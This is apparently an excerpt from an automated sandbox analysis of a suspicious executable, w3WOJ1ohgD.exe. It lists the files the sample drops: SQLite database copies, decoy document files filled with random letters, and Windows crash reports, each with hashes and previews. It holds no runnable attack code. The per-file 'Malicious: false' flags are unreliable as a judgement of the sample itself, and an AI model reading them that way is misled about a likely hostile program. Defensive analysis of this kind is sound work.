Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\ProgramData\KFIEHIII

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_w3WOJ1ohgD.exe_07e66848ed9fe7765a468cc42953c4fe5536254_f6f3c23d_00f74d96-6ec7-4fb2-b6fb-c6161c00c842\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.14394931819655
Encrypted:	false
SSDEEP:	192:7WYsW090A0IDjtHZrd2f9HmzuiFLZ24IO8v3:DsW0+A0IDjNCGzuiFLY4IO8v3
MD5:	7B44D5D9A55F312B9983799FF4E61E2E
SHA1:	E85C97221DDE0BA114EADD26D189881BBA779D0C
SHA-256:	F65763FD21102245664BF7A2425A8B396AB2E272A83BDD1180551E28662538E3
SHA-512:	484B6F828281AD41BA1D9287E7DB4227D55F76C0CD8F6AEEA3B38CC7E18E4FC9C2721BB1338585F9D73B3D87EFB48AF630E4B45565828445FB66F00713B3EDBA
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.5.2.2.5.5.0.3.2.3.9.9.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.5.2.2.5.5.3.2.1.4.6.1.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.0.f.7.4.d.9.6.-.6.e.c.7.-.4.f.b.2.-.b.6.f.b.-.c.6.1.6.1.c.0.0.c.8.4.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.5.2.5.5.2.2.-.f.0.f.5.-.4.e.e.c.-.b.a.6.f.-.d.f.2.9.f.1.4.9.d.c.5.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.w.3.W.O.J.1.o.h.g.D...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.0.4.-.0.0.0.1.-.0.0.1.4.-.e.e.1.d.-.4.2.f.6.0.d.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.b.9.8.a.d.4.f.9.5.7.1.0.1.0.d.5.2.c.2.a.c.3.f.c.9.6.7.2.8.3.0.0.0.0.f.f.f.f.!.0.0.0.0.d.7.3.b.e.2.e.d.f.a.0.5.0.e.e.9.a.c.4.3.4.b.3.1.0.a.f.5.5.2.1.0.b.6.4.3.7.5.c.f.!.w.3.W.O.J.1.o.h.g.D...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2604.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Apr 25 12:42:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57514
Entropy (8bit):	2.5895009078357667
Encrypted:	false
SSDEEP:	192:8zapq6X27CUX8l1m4X/za/O9OswlWpFTgsM+9LhQLxiQ47kWrm5P+LV+asOSjDxL:Vpo7Cxl1Hza29RbisB1O25LsbxUoUqf
MD5:	13C03BC72DF3D7B25A1F69196D05072B
SHA1:	4590B17CEAA01C1FAAC04ADD848AD5B2E04A8E3A
SHA-256:	19E91E977F93F12AA31F81A7B9A1506D157751CBA338094477CA466340F6DC0D
SHA-512:	2B76B3AEBF17B9367061A19BBD402C707A5E2805D1FCA53094459ADFC56417D493C447095F384F725AFF6B2F5DA7B39356366A8B2A3110E6C0741751BAAB79EC
Malicious:	false
Preview:	MDMP..a..... ........Of............4............ ..<...........~9..........T.......8...........T...........P[..Z...........((.........................................................................................eJ.............GenuineIntel............T............Of.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER298F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8348
Entropy (8bit):	3.6994104427713346
Encrypted:	false
SSDEEP:	192:R6l7wVeJDK6s6Y9+SUUqgmfhepDj89b68sft+m:R6lXJO6s6Y0SUUqgmfhH6PfN
MD5:	86DD3A61AD50C03D1778D017D115FDF9
SHA1:	8690D5E587C3DBF6806203458F5886B421E24373
SHA-256:	5FDAF0D7BC1E47F520BE272F8C420F4B40D5C584AF5631748B7728F2CB3A2DA5
SHA-512:	8AAABDEA77A8BFF7C57CB71585A7112461F79B77B2EE5A3C58FA7ABA31417C2E0C1C0AC9FF5210E7A4BD3B72CFB200EC2EC521D8DE4074D660C9EB5D67552809
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29BF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.467916870539662
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9l6WpW8VYSYm8M4JZmTR9FbDI+q8jcyg9TY/bqmFm3d:uIjfZI7777V2JWTE4WTwOmFm3d
MD5:	3479AA7552C4CFF9E99E3400C6EAD9C0
SHA1:	7ABF5440D665A8CC7FFB360D7923FBE7C33B3B06
SHA-256:	BF31931BD48DD82343BB2D4119513ADDA54EC1D7B74AF717EC657D8367E129B6
SHA-512:	5B2F457498A354302D05350535855958F1670F106E0A3D1A3D101A75034F100FEEFDA5D3C2F9213A5F3BFF109E15386F3F9CB6B348B9899A311E9A7E2B449149
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="295425" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\ProgramData\NWTVCDUMOB.docx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\ProgramData\NYMMPCEIMA.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\PIVFAGEAAV.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
